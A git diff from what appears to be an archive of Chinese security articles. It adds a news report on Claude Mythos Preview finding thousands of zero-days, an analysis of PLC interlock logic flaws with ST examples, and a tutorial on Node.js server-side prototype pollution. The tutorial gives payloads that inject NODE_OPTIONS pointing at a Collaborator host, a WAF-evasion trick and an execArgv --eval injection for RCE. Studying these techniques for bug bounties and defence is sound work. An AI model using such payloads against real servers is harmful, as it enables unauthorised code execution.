diff --git a/data.json b/data.json index 69660793..f29430e9 100644 --- a/data.json +++ b/data.json @@ -21135,5 +21135,8 @@ "https://mp.weixin.qq.com/s/js1AYhWtrLBCmo7CJGADKw": "GitHub 4000个私有仓库被窃取；Claude Code深度链接解析漏洞可被武器化 | FreeBuf周报", "https://mp.weixin.qq.com/s/z4wthxePisDjY6eYFtHmZg": "Chrome安全漏洞或使攻击者能够远程执行代码", "https://mp.weixin.qq.com/s/mzawD-_crDMa0Awmk-i8eQ": "Microsoft Defender零日漏洞已在野外遭积极利用", - "https://mp.weixin.qq.com/s/8HV7g9Os5K8mSy96YrYufg": "【安全圈】趋势科技警告称，Apex One 零日漏洞已被利用" + "https://mp.weixin.qq.com/s/8HV7g9Os5K8mSy96YrYufg": "【安全圈】趋势科技警告称，Apex One 零日漏洞已被利用", + "https://mp.weixin.qq.com/s/BNz1GsAIqR8lxl6vHtjW9w": "PLC逻辑代码漏洞的严重性及隐蔽性分析", + "https://mp.weixin.qq.com/s/MI13YFhgSKTDnU9Mutc_Tw": "异步投毒、fork触发的赏金杀招：服务端原型污染RCE拆解", + "https://mp.weixin.qq.com/s/2vlzln_L0sEBs-sH66rzSw": "Claude Mythos Preview首月发现超万个0Day漏洞" } \ No newline at end of file diff --git a/doc/2026-05/Claude Mythos Preview首月发现超万个0Day漏洞.md b/doc/2026-05/Claude Mythos Preview首月发现超万个0Day漏洞.md new file mode 100644 index 00000000..462cb727 --- /dev/null +++ b/doc/2026-05/Claude Mythos Preview首月发现超万个0Day漏洞.md @@ -0,0 +1,70 @@ +# Claude Mythos Preview首月发现超万个0Day漏洞 + FreeBuf 2026-05-23 10:00 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") + +## + + +Anthropic公布了Project Glasswing项目的惊人初期成果，这项协作式网络安全计划旨在利用先进AI技术，在恶意攻击者利用之前保护关键基础设施安全。在项目启动的首月，团队借助尚未发布的Claude Mythos Preview模型，在全球最关键软件系统中自主发现了超过1万个高危和严重级别的0Day漏洞。 + + +**Part01** +## 突破性漏洞发现能力 + + +A +n +thropic与微软、苹果、谷歌和Cloudflare等50余家大型科技企业合作，将Claude Mythos Preview部署到高度定向的代码库中。该模型不仅展现出识别漏洞的非凡能力，还能自主构建功能性漏洞利用程序。Cloudflare报告发现了2000个漏洞，其中400个属于高危或严重级别，并指出该模型的误报率优于人类安全测试人员。 + + +独立评估在多环境中验证了这些能力。英国AI全研究所观察到，Mythos Preview是首个完全解决其多步骤网络攻击模拟的模型；而Mozilla利用该模型在Firefox 150中发现并修复了271个漏洞，发现数量是此前使用 Claude Opus 4.6测试的十倍。 + + +**Part02** +## 开源项目关键漏洞曝光 + + +鉴于这些自主漏洞利用能力存在严重的双重用途风险，Anthropic暂未向公众发布Mythos，仅限防御联盟成员使用。除专有企业系统外，Anthropic还指导Claude Mythos Preview扫描了1000多个广泛使用的开源项目，其中最引人注目的是wolfSSL加密库中的高危漏洞（CVE-2026-5194）。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/icBE3OpK1IX3liaKwsdA7bg76Pef6TO0oxL3pvJ523awmzukLiaNErcCPznicrzH1iaxqlwUzEQTszLjX0ms0xPibCGCBkLqGKClVT5XQcvqeib2Hk/640?wx_fmt=jpeg&from=appmsg "") + + +Mythos Preview成功构建了针对该漏洞的利用程序，可实现安全证书伪造，这种攻击向量能让攻击者悄无声息地仿冒银行或电子邮件域名。 + + +**Part03** +## 漏洞修复能力面临挑战 + + +庞大的漏洞发现量暴露出软件行业的关键结构性缺陷：人类在漏洞分类、报告和修复方面的能力无法跟上AI驱动的发现速度。初始扫描阶段产生了23019个候选发现，当外部安全公司审查其中1900个发现时，确认1726个（90.8%）为真实有效漏洞。 + + +尽管Anthropic直接向维护者报告了总计1596个经过验证的发现，但迄今为止上游仅修复了97个漏洞，仅发布了88份安全公告。这种巨大的落差凸显了志愿开源维护者面临的严重能力限制，他们现在被高质量的AI漏洞披露压得喘不过气。 + + +**Part04** +## 行业防御策略转型 +##  Mythos级模型将0Day发现的成本和时间几乎降为零，从发现到广泛部署补丁之间的时间差为威胁行为者提供了极其危险的漏洞利用窗口。业界建议组织不应仅依赖补丁，而应通过强制执行严格的默认配置、强制多因素认证以及利用高级行为分析来调整网络防御策略，从而缩短入侵后活动的平均检测时间（MTTD）。为在Mythos受限期间支持更广泛的生态系统，Anthropic面向企业客户公开发布了Claude Security测试版。该工具采用Opus 4.7模型，已协助修复了2100多个企业漏洞。此外，Anthropic还为其网络安全验证计划合作伙伴提供专用skills、代码库映射工具和自动化威胁模型构建器，以简化分类流程。根据初步结果报告，Anthropic正考虑未来发布Mythos级模型。思科等联盟合作伙伴已开源Foundry Security Spec等资源，帮助全球防御者构建强大的AI辅助评估系统，以应对即将到来的漏洞数据浪潮。 +
+ +**参考来源：** + +Anthropic’s Claude Mythos Preview Uncovers 10,000+ 0-Days in Project Glasswing +https://cybersecuritynews.com/anthropics-claude-mythos-preview-0-days/ + + +**推荐阅读** + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651338385&idx=1&sn=a442efc5bf8726e3e4239bc246e2976b&scene=21#wechat_redirect) + + +### 电报讨论 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ibvNluUKZ6RPy7h2fbYibRbLQDHPFqj89KkFsXBRibx5YTLiaTUfFOy9PKicps3l56iazUPNQrwdhkZ7jA/640?wx_fmt=png&from=appmsg "") + +**** + + diff --git a/doc/2026-05/PLC逻辑代码漏洞的严重性及隐蔽性分析.md b/doc/2026-05/PLC逻辑代码漏洞的严重性及隐蔽性分析.md new file mode 100644 index 00000000..3351d8b9 --- /dev/null +++ b/doc/2026-05/PLC逻辑代码漏洞的严重性及隐蔽性分析.md @@ -0,0 +1,141 @@ +# PLC逻辑代码漏洞的严重性及隐蔽性分析 +原创 颜色不一样的花火 + 颜色不一样的花火 IRTeam工业安全 2026-05-23 13:30 + +PLC（可编程逻辑控制器）作为工业控制系统的核心控制单元，承担着工业生产设备启停、工艺流程联动、参数调节、故障联锁保护等核心功能，广泛应用于电力、化工、制造业、轨道交通、水处理等关键基础设施领域。PLC逻辑代码是设备自动化运行的核心指令集，区别于传统IT系统的代码漏洞，PLC逻辑代码漏洞不属于缓冲区溢出、注入等通用软件漏洞，而是程序编写逻辑缺陷、联锁逻辑缺失、判断条件失效、时序逻辑错误 +导致的工控底层安全漏洞。该类漏洞危害极高、隐蔽性极强，是工业生产安全、关键基础设施防护中最容易被忽视、但破坏力最大的安全风险之一。 + +一、PLC逻辑代码漏洞的严重性 + +PLC逻辑代码直接管控物理硬件设备，代码逻辑缺陷不会导致软件崩溃，而是直接引发物理层设备异常、生产事故、基础设施瘫痪 +，区别于 +IT系统仅影响数据安全的漏洞，具备“代码漏洞→物理破坏”的传导性，核心危害体现在以下四个方面。 + +1. 破坏设备联锁保护机制，引发安全生产事故 + +工业设备的紧急停机、过载保护、压力阈值联锁、温度超限阻断等安全机制，全部依靠 +PLC逻辑代码实现。若存在逻辑漏洞，例如联锁判断条件缺失、正反逻辑颠倒、优先级逻辑错误、延时参数异常等，会导致设备安全保护机制失效 +。在设备过载、超压、超温、机械故障等异常场景下， +PLC无法触发停机、泄压、断电保护，最终造成设备烧毁、机械卡滞、管道爆裂，在化工、易燃易爆场景中，极易引发火灾、爆炸、有毒气体泄漏等重大安全生产事故，造成人员伤亡与重大财产损失。 + +2. 导致生产流程紊乱，造成大面积生产瘫痪 + +现代化工业生产线为流水线联动模式，多台 +PLC协同完成完整生产工艺，各设备启停、流转、联动时序严格依赖逻辑代码。一旦存在时序逻辑错误、互锁失效、循环逻辑缺陷等漏洞，会导致生产线节拍错乱、设备误启停、上下游设备联动异常，造成整条生产线停机、产品报废、流水线堵塞。对于连续化生产的工业场景，停机、返工、设备检修会造成极高的生产经济损失，严重影响企业生产运营与供应链稳定。 + +3. 可被攻击者利用，实现持续性工控入侵破坏 + +PLC逻辑代码漏洞属于底层固有缺陷，攻击者在渗透入侵工业内网后，可利用逻辑漏洞绕过工控安全策略，篡改设备运行逻辑、屏蔽告警机制、篡改工艺参数。不同于短期的流量攻击、参数篡改，利用逻辑代码漏洞的攻击具备持续性、隐蔽性、不可逆性 +，攻击者可植入隐性恶意逻辑，长期潜伏，按需触发设备故障、生产瘫痪，甚至破坏关键基础设施，危害工业生产与国家关键基础设施安全。 + +4. 漏洞触发后果不可逆，无应急兜底机制 + +传统 +IT系统漏洞可通过重启服务、回滚配置、修复补丁快速恢复业务，而PLC逻辑代码运行于硬件控制器中，逻辑漏洞触发后引发的物理设备损坏、工艺事故、生产故障无法通过软件重启恢复 +。同时多数工控设备常年不间断运行，无法随意停机修复代码漏洞，导致漏洞长期存在，随时可能触发安全事故，无有效的应急兜底手段。 + +二、PLC逻辑代码漏洞难以发现的核心原因 + +PLC逻辑代码漏洞并非语法错误、程序报错，而是业务逻辑、时序逻辑、联锁逻辑的设计缺陷 +，代码可正常编译、设备可正常运行、无报错告警，因此常规的安全检测、设备巡检、代码核查均无法识别，隐蔽性极强，核心原因分为技术层面、运维层面、检测机制层面三类。 + +1. 漏洞无显性报错，设备运行状态无异常 + +PLC逻辑代码漏洞区别于通用软件漏洞，不存在程序闪退、端口异常、日志报错、服务宕机等显性特征。存在逻辑缺陷的代码可以正常编译下载、PLC设备正常上线、生产线正常运行，仅在特定场景、特殊时序、异常工况 +下才会触发漏洞。日常标准生产环境中，漏洞完全处于静默状态，运维人员无法通过设备指示灯、后台日志、监控系统发现异常。 + +2. 常规安全检测工具无法识别逻辑缺陷 + +目前工业安全扫描设备、漏洞扫描器、渗透测试工具，仅能检测 +PLC端口开放、协议漏洞、固件漏洞、弱口令、越权访问等通用安全漏洞，无法解析、识别、校验自定义业务逻辑 +。 +PLC逻辑代码为厂商自定义梯形图、结构化文本等专属语法，且完全贴合企业专属生产工艺，无通用漏洞特征库，不存在标准化检测规则，导致市面所有自动化安全工具均无法检测该类漏洞。 + +3. 代码逻辑高度定制化，无统一标准 + +不同行业、不同生产线、不同设备厂商的 +PLC逻辑代码完全独立定制 +，没有统一的编写规范与校验标准。代码逻辑紧密绑定专属生产工艺，仅编写工程师熟悉逻辑规则，第三方安全人员、运维人员无法快速理解联锁关系、时序规则、保护逻辑。同时工艺逻辑复杂、分支条件繁多、异常场景覆盖全面，人工核查极易遗漏隐性逻辑缺陷。 + +4. 测试场景覆盖不全，无法模拟极端工况 + +PLC代码测试仅能在设备调试阶段完成常规工况测试，而逻辑漏洞大多触发于多设备联动异常、瞬时断电、参数临界值、设备间歇故障、多条件叠加 +的极端场景。这类高危工况无法在调试、测试、日常巡检中模拟，导致漏洞在设备上线、投产运行后长期潜伏，仅在生产意外场景下触发事故。 + +5. 工控运维体系重可用性、轻安全性 + +工业生产核心诉求为连续性、稳定性，企业运维策略优先保障生产线正常运行，极少对 +PLC代码进行二次审计、迭代检测。同时为避免影响生产，禁止随意修改、上传、调试PLC程序，导致存量代码中的逻辑漏洞长期无人核查、无法修复 +，形成永久潜伏的安全隐患。此外，多数工控设备日志简陋，无法记录完整的逻辑执行过程，故障发生后难以溯源定位漏洞根源。 + +三、典型PLC逻辑漏洞ST伪代码示例 + +为直观体现 +PLC逻辑代码隐性漏洞特征，以下采用工业通用ST（结构化文本）伪代码 +，还原化工、制造业高频出现的高危逻辑漏洞。代码可正常编译、设备无报错、日常生产无异常，但存在致命逻辑缺陷，仅在异常工况触发安全事故，完美印证上文漏洞隐蔽性与危害性。 + +1. 场景说明 + +以化工反应釜设备为例：设备要求温度超阈值或压力超阈值，立即触发紧急停机，禁止进料阀开启 +，属于核心安全生产联锁逻辑。 + +2. 存在漏洞的错误ST伪代码 +

ST
// 变量定义
VAR
    Reactor_Temp: REAL;    // 反应釜实时温度
    Reactor_Press: REAL;   // 反应釜实时压力
    Feed_Valve: BOOL;      // 进料阀状态
    Emergency_Stop: BOOL;  // 设备紧急停机信号
END_VAR

// 【高危逻辑漏洞：使用与逻辑AND，而非或逻辑OR】
// 设计需求：温度超标 OR 压力超标 → 停机锁阀
// 实际代码：温度超标 AND 压力超标 才会触发保护
IF (Reactor_Temp > 180.0) AND (Reactor_Press > 1.6) THEN
    Emergency_Stop := TRUE;  // 触发紧急停机
    Feed_Valve := FALSE;     // 关闭进料阀
ELSE
    Emergency_Stop := FALSE;
    Feed_Valve := TRUE;
END_IF;

+3. 漏洞分析 + +该段代码属于典型的联锁逻辑判断错误 +，也是工业现场最常见的 +PLC逻辑漏洞： + +1. 漏洞隐蔽性极强 +：代码语法完全合规，可正常编译下载，设备运行无报错，常规生产工况下温压均正常，完全无法发现缺陷；仅单一指标超限时触发漏洞。 + +2. 保护机制完全失效 +：仅当温度、压力同时超标 +才会触发停机保护，若仅温度超标、压力正常，或仅压力超标、温度正常时，设备不会停机、进料阀持续开启，会造成反应釜超温、超压运行，引发介质沸腾、管道爆裂、化工泄漏、爆炸等重大安全事故。 + +3. 常规检测无法识别 +：漏洞属于业务逻辑设计缺陷，不存在端口、固件、协议漏洞，漏洞扫描工具、工控巡检系统无法检测。 + +4. 修复后的正确ST代码 +

ST
// 修复：将与逻辑(AND)改为或逻辑(OR)，满足单项超限即触发保护
IF (Reactor_Temp > 180.0) OR (Reactor_Press > 1.6) THEN
    Emergency_Stop := TRUE;  // 触发紧急停机
    Feed_Valve := FALSE;     // 关闭进料阀
ELSE
    Emergency_Stop := FALSE;
    Feed_Valve := TRUE;
END_IF;

+5. 延伸同类隐性逻辑漏洞（ST伪代码简述） + +除逻辑运算符错误外，以下两类漏洞同样具备高隐蔽、高危害特性： + +（1）边界判断遗漏漏洞 +

ST
// 漏洞代码：仅判断大于，遗漏等于临界值
IF (Water_Level > 5.0) THEN
    Pump_Stop := TRUE;
END_IF;
// 风险：水位等于临界值时不触发停机，持续注水导致溢水事故

+（2）时序逻辑缺失漏洞 +

ST
// 漏洞代码：阀门同步启停，无延时互锁
Valve_Open := Motor_Run;
Valve_Close := NOT Motor_Run;
// 风险：电机启停瞬间阀门同步切换，无缓冲时序，导致设备卡顿、烧毁

+四、总结 + +PLC逻辑代码漏洞是工业控制系统中危害最高、隐蔽性最强、检测难度最大 +的核心安全风险。该漏洞不影响设备基础运行，具备极强的迷惑性，但一旦触发将直接引发物理设备损坏、安全生产事故、生产线瘫痪，甚至威胁关键基础设施稳定运行。同时受限于工控设备特性、检测技术局限、运维模式约束，常规安全手段无法发现和处置该类漏洞。因此，针对 +PLC逻辑代码漏洞，需要建立专项 +PLC +代码审计、工艺场景模拟测试、工控基线加固机制，从 +PLC +代码源头规避逻辑缺陷，补齐工业控制系统底层安全短板。 + +Fortinet OT安全团队提供PLC和HMI等工业控制软件及逻辑的代码漏洞审计服务。 + +1. +逻辑与语法设计审查： + +OT +审计人员会深入审查控制代码，确保逻辑设计严谨且没有语法错误。会检查 +I/O点使用是否冗余，变量命名是否符合规范，并仔细排查可能因编程疏忽而遗留的“测试临时触点”。 + +2. +核心功能可靠性验证： + +对于安全与流程控制等核心功能， +OT +审计会验证其逻辑是否完备。例如，检查“SET”（置位）与“RST”（复位）指令的数量是否平衡，防止线圈因状态锁定而无法复位；同时，确认安全联锁逻辑是否已正确关联到“急停”信号，保证在紧急状况下能可靠触发。 + +3. +信息安全风险深度挖掘： + +检查PLC程序中是否采用TCP或者UDP通讯或者对外点对点的通讯指令，测试通讯的健壮性，是否可以通过越界或者畸形报文造成控制逻辑混乱。 + + diff --git a/doc/2026-05/异步投毒、fork触发的赏金杀招：服务端原型污染RCE拆解.md b/doc/2026-05/异步投毒、fork触发的赏金杀招：服务端原型污染RCE拆解.md new file mode 100644 index 00000000..48dc9800 --- /dev/null +++ b/doc/2026-05/异步投毒、fork触发的赏金杀招：服务端原型污染RCE拆解.md @@ -0,0 +1,114 @@ +# 异步投毒、fork触发的赏金杀招：服务端原型污染RCE拆解 +原创 升斗安全XiuXiu + 升斗安全XiuXiu 升斗安全 2026-05-23 16:08 + +**【文章说明】** +- **目的** +：本文内容仅为网络安全**技术研究与教育** +目的而创作。 + +- **红线** +：严禁将本文知识用于任何**未授权** +的非法活动。使用者必须遵守《网络安全法》等相关法律。 + +- **责任** +：任何对本文技术的滥用所引发的**后果自负** +，与本公众号及作者无关。 + +- **免责** +：内容仅供参考，作者不对其准确性、完整性作任何担保。 + +**阅读即代表您同意以上条款。** + +**** +敏锐的你可能早已发现， +客户端的原型污染往往会把网站拖入  +DOM 型 XSS 的泥潭；但真正“性感”的玩法，是能把这种污染一路传导到 +服务端，最终实现远程代码执行。这一篇，我们就来拆解如何在  +Node.js 应用中，把藏在原型链里的“脏数据”变成一枚精准的  +RCE 弹头。 + +怎么找到那个“脆弱”的请求？ + +在  +Node 的世界里，存在不少命令执行的“落点”，大量集中在  +child_process 模块中。有意思的是，触发这些执行点的请求，通常跟你最初植入污染的那个请求是 +异步的。啥是 +异步？换句话说，你投毒时风平浪静，只有在创建某个子进程的动作时，才会真正激活你的  +payload。 + +为了把这种“潜伏”的请求揪出来，我们常用一个技巧：往原型里塞一个试探性的载荷，一旦被调用，就会朝你的 + Burp Collaborator 打个招呼。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qg1MKHx3jGFkxn4Doxq7Vg1HIEbJuGJfia3gsic6BzpCSH8swFqZDjmiaTX89icJYCWnedJYCWjUjLATVv6Yq5Us2WOhYB3BmCjYTtypciaYA8Rc/640?wx_fmt=png&from=appmsg "") + +这里有一个关键角色： +NODE_OPTIONS 环境变量。它相当于一个默认的命令行参数串，每次新开一个  +Node 进程，都会把它带上。又因为  +NODE_OPTIONS 本质上是  +env 对象上的一个属性，只要开发者没显式定义它，你就有可能通过污染原型来悄悄“塞私货”。 + +某些创建子进程的函数还允许指定一个  +shell 属性，用来告诉系统用哪个命令行解释器（比如  +bash）。把恶意的  +NODE_OPTIONS 和这个  +shell 拼在一起，就能造出一个轻量级探测弹： +``` +"__proto__": { +    "shell":"node", +    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com" +} +``` + +一旦某个请求内部偷偷创建了新的  +Node 进程，你的  +Collaborator 就会收到一条  +DNS 或  +HTTP 交互。谁是那个“内鬼”请求，一目了然。 + +小提示：主机名里那串转义双引号并不是强制要求，但它能把真实域名包裹得“面目全非”， +绕过一些对主机名做简单抓取和过滤的 WAF，减少误报的同时，也降低了暴露风险。 + +从 child_process.fork() 撕开口子，直取 RCE + +原型污染的威力不仅在于发现，更在于利用。 +child_process 模块里的  +spawn() 和 + fork() 都用来创建新的  +Node 子进程。其中  +fork() 接收一个  +options 对象，里面有个属性叫  +execArgv，它是字符串数组，存着传给子进程的命令行参数。开发者如果没主动设这个属性，它就有机会被原型上的恶意值 +覆盖。 + +这等于直接把命令行参数的操控权交到了你手里，让一些在  +NODE_OPTIONS 中受限的攻击手段变得唾手可得。比如  +--eval 参数，能让你塞进任意  +JavaScript，交由子进程执行。这个后门足够宽，甚至能在环境中动态加载额外模块： +``` +"execArgv": [ +    "--eval=require('')" +] +``` + +再顺着链条往下走， +execSync() 方法又允许你把任意字符串直接当作系统命令执行。把  +JS 注入与命令注入这两个点串起来，一个原本藏在犄角旮旯的 +原型污染，就能被放大成服务器上的完整  +RCE。到这一步， +shell 就在你手中了。 + +挖洞的路总是充满偶然，但把原型污染的丝线一路拽成 RCE 的绳索，这就是赏金猎人拉开差距的地方。希望这篇拆解能让你在下一次测试时，多一份对“ +脏原型”的敏感度。 + +如果觉得有收获，别忘了 +点赞 +、 +在看 +，也欢迎 +转发 +给身边挖洞的小伙伴，一起精进技术。还没关注的老铁， +点个关注 +，我们下篇继续聊那些真正能变现的攻击链。 + +